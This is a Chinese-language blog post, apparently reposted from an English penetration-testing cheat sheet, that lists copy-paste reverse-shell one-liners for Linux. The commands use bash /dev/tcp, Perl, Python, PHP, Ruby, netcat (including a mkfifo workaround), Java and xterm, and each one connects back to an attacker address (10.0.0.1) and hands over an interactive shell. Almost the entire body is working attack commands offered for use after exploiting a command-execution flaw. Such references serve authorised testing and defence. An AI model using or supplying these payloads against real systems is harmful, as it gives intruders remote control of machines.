linux反弹备忘录

如果你有幸在渗透测试中发现了命令执行漏洞,那么不久之后你可能需要一个交互式shell。

如果无法添加新帐户/ SSH密钥/ .rhosts文件并登录,则下一步可能是拖回反向shell或将shell绑定到TCP端口。 本页讨论前者。

创建反向 shell 的选项受到目标系统上安装的脚本语言的限制 - 尽管如果您准备充分,您也可以上传二进制程序。

所示示例是针对类 Unix 系统量身定制的。 下面的一些示例也适用于Windows,如果你使用“/bin/sh -i”替换“cmd.exe”。

下面的每种方法都旨在成为您可以复制/粘贴的单行代码。 因此,它们是很短的行,但不是很好读。

Bash

某些版本的 bash 可以向您发送反向 shell(这在 Ubuntu 10.10 上进行了测试):

bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

PERL

下面是 perl-reverse-shell 的一个更短的、无功能的版本:

perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

这里还有一个替代的PERL revere shell。

Python

这是在Linux / Python 2.7下测试的:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

PHP

此代码假定 TCP 连接使用文件描述符 3。 这适用于我的测试系统。 如果不起作用,请尝试 4、5、6...

php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

如果你想上传一个.php文件,请参阅功能更强大、更健壮的 php-reverse-shell。

Ruby

ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

Netcat

Netcat很少出现在生产系统上,即使它有几个版本的netcat,其中一些不支持-e选项。

nc -e /bin/sh 10.0.0.1 1234

如果你安装了错误版本的netcat,Jeff Price在这里指出,你仍然可以像这样恢复你的反向shell:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f

Java

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

xterm

反向外壳的最简单形式之一是 xterm 会话。 应在服务器上运行以下命令。 它将尝试在 TCP 端口 6001 上重新连接到您 (10.0.0.1)。

xterm -display 10.0.0.1:1

要捕获传入的 xterm,请启动 X 服务器 (:1 – 侦听 TCP 端口 6001)。 一种方法是使用 Xnest(在您的系统上运行):

Xnest :1

您需要授权目标连接到你(命令也在主机上运行):

xhost +targetip

Further Reading

另请查看Bernardo的Reverse Shell one-linerers。 他有一些替代方法,并且不依赖 /bin/sh 作为他的 Ruby 反向 shell。

这里有一个用gawk写的反向外壳。 Gawk不是我自己用过的东西。 但是,它似乎经常在默认情况下安装,因此正是渗透测试人员可能想要用于反向外壳的语言。

三十年河东,三十年河西

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

夜yesec

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值